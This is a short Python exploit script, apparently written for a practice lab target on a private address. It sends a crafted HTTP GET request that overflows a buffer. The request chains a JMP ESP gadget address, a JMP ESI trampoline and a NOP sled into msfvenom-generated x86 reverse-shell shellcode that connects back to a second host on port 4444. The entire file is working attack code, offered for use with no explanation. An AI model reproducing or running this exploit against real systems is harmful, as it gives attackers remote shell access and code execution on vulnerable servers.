#!/usr/bin/python3
import sys
import socket
import struct

HOST = "192.168.56.101"
PORT = 20001

def main():

	# address of jmp esp ROP gadget 
	JMP_ESP = b"\x4f\x9f\x04\x08"
	
	# jmp esi instruction with added padding
	JMP_ESI = b"\x90\x90\xff\xe6"

	# NOP sled to make room for mistakes
	NOPSLED = b"\x90"*16

	# Overflow buffer up until RET
	OVERFLOW = b"/" + b"A"*127 + b"B"*4 + b"C"*4 + b"D"*4

	print("Len OVERFLOW:" + str(len(OVERFLOW)))

	# Generated shellcode 
	# msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=192.168.183.128 LPORT=4444 -b '\x00\x2f' -f python
	shellcode =  b""
	shellcode += b"\xbb\x98\x02\xd2\x5d\xd9\xeb\xd9\x74\x24\xf4\x5f\x33"
	shellcode += b"\xc9\xb1\x12\x31\x5f\x12\x03\x5f\x12\x83\x5f\x06\x30"
	shellcode += b"\xa8\x6e\xdc\x43\xb0\xc3\xa1\xf8\x5d\xe1\xac\x1e\x11"
	shellcode += b"\x83\x63\x60\xc1\x12\xcc\x5e\x2b\x24\x65\xd8\x4a\x4c"
	shellcode += b"\xb6\xb2\x95\xea\x5e\xc1\xe5\xe3\xc2\x4c\x04\xb3\x9d"
	shellcode += b"\x1e\x96\xe0\xd2\x9c\x91\xe7\xd8\x23\xf3\x8f\x8c\x0c"
	shellcode += b"\x87\x27\x39\x7c\x48\xd5\xd0\x0b\x75\x4b\x70\x85\x9b"
	shellcode += b"\xdb\x7d\x58\xdb"

	payload = b"GET " + OVERFLOW + JMP_ESP + JMP_ESI + b" HTTP/1.1" + NOPSLED + shellcode
	print("Payload will be:")
	print(payload)

	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		s.connect((HOST, PORT))
		s.send(payload)
		data = s.recv(4096).decode()

if __name__ == "__main__":
	main()